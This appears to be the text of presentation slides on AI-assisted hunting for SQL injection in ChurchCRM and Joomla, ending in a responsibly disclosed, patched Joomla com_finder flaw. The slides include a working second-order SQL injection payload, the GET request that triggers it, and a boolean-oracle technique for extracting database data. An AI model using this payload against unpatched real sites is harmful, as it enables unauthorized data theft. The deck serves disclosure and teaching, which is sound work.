
Teaching AI to hack Joomla so I 
can skip my homework /s

Real-world Vulnerability Discovery and Exploits
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Church Sidequest
ChurchCRM
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Church Sidequest
ChurchCRM
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Church Sidequest
Advisory About src/UserEditor.php
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Church Sidequest
Latest src/MemberRoleChange.php
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Church Sidequest
Latest src/MemberRoleChange.php
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1. Find out the database interaction points

Church Sidequest
Manual Workflow
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2. Enumerate sinks with simple Ctrl+F search

Church Sidequest
Manual Workflow
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3. Check each sink’s dynamic parameters for external reachability

Church Sidequest
Manual Workflow
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4. Check each of the external reachable parameters for sanitization

Church Sidequest
Manual Workflow
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5. Create a PoC against a locally running Docker environment and report the vuln

Church Sidequest
Manual Workflow
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5,100+
GitHub Stars

~250k
Lines of PHP

5.4.5
Target Version

Joomla-CMS
A Larger, “Better” Codebase
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1. Enumerate sinks/database interaction points

Joomla-CMS
AI Workflow
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1. Enumerate sinks/database interaction points

Keyword Purpose

getQuery Query builder construction

setQuery Handoff to database driver

getDatabase Modern database access

Factory::getDbo Legacy database access (deprecated)

Afterwards remove duplicate sinks

Joomla-CMS
AI Workflow
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2. Remove all sinks with only static/hard coded SQL parameters

Joomla-CMS
AI Workflow
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3. Remove all sinks that use prepared statements for every dynamic input

Joomla-CMS
AI Workflow
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4. Save the filtered sinks in JSON format

After deduplication and filtering: 247 candidates remained

Joomla-CMS
AI Workflow
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5. Deep inspection of the remaining sinks

Joomla-CMS
AI Workflow

- Stored input is untrusted (second-order)

- Check for external reachability (Source-to-Sink tracing)

- Inspect transformations and sanitizations

- PoC against local Joomla Docker setup
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Second-order SQL injections

Joomla-CMS
Assigned CVEs

Forgot whitelist for ORDER BYBroken contract between 2 functions
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Joomla-CMS com_finder
Storing The Payload

Publisher role 
required
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Joomla-CMS com_finder
Storing The Payload

'Author' <created by alias>
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GET /index.php?option=com_finder&view=search&q=<article-title>+author:<prefix>

Joomla-CMS com_finder
Triggering The Payload
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GET /index.php?option=com_finder&view=search&q=<article-title>+author:<prefix>

<created by alias>

Joomla-CMS com_finder
Triggering The Payload
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$this->filters = [
    'Author' => [

<created-by-alias> => <id>
    ],
];

Joomla-CMS com_finder
Triggering The Payload
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$this->filters = [
    'Author' => [

'13371337*0+IF((1=1),t.node_id,0)' => 123
    ],
];

Joomla-CMS com_finder
Triggering The Payload

<created by alias>
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$this->filters = [
    'Author' => [

'13371337*0+IF((1=1),t.node_id,0)' => 123
    ],
];

Joomla-CMS com_finder
Triggering The Payload

<created by alias>

... WHERE t.node_id IN (13371337*0+IF((1=1),t.node_id,0))
HAVING SUM(CASE WHEN t.node_id IN (13371337*0+IF((1=1),t.node_id,0)) THEN 1 ELSE 0 END) > 0
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Joomla-CMS com_finder
The Boolean Oracle

GET /index.php?option=com_finder&view=search&q=1337+author:13371337
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Joomla-CMS com_finder
The Boolean Oracle

... t.node_id IN (13371337*0+IF((1=1),t.node_id,0) ...

GET /index.php?option=com_finder&view=search&q=1337+author:13371337
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Joomla-CMS com_finder
The Boolean Oracle

... t.node_id IN (13371337*0+IF((1=0),t.node_id,0) ...

GET /index.php?option=com_finder&view=search&q=1337+author:13371337
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Joomla-CMS com_finder
The Boolean Oracle

... t.node_id IN (13371337*0+IF((
1=1

),t.node_id,0) ...

... t.node_id IN (13371337*0+IF((
ASCII( SUBSTR( VERSION(), 1, 1 ) ) >= 53

),t.node_id,0) ...
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Joomla-CMS com_finder
Exploitation
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$this->filters[$modifier][$return->title] = (int) $return->id;

$this->filters[$modifier][(int) $return->id] = $return->title;

Joomla-CMS com_finder
The Fix

Joomla 5.4.6

Joomla 5.4.5
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2026-03-31

Reported vulns
to Joomla 

Security Strike 
Team

2026-04-01

First
acknowledgment

2026-04-11

2026-05-26

Joomla-CMS
Timeline

Issues 
confirmed and
patch work 
started

Fixed in 
5.4.6 / 6.1.1 

and CVEs 
assigned
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Conclusion

SQL injections are still a thing
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Conclusion

SQL injections are still a thing

Prepared statements are not the silver bullet
Can’t parameterize SQL grammar

ORDER BY ?
t.node_id IN (?, ?, ?, ?)
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Conclusion

SQL injections are still a thing

Prepared statements are not the silver bullet
Can’t parameterize SQL grammar

ORDER BY ?
t.node_id IN (?, ?, ?, ?)
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The AI-assisted workflow is generalizable



Q&A
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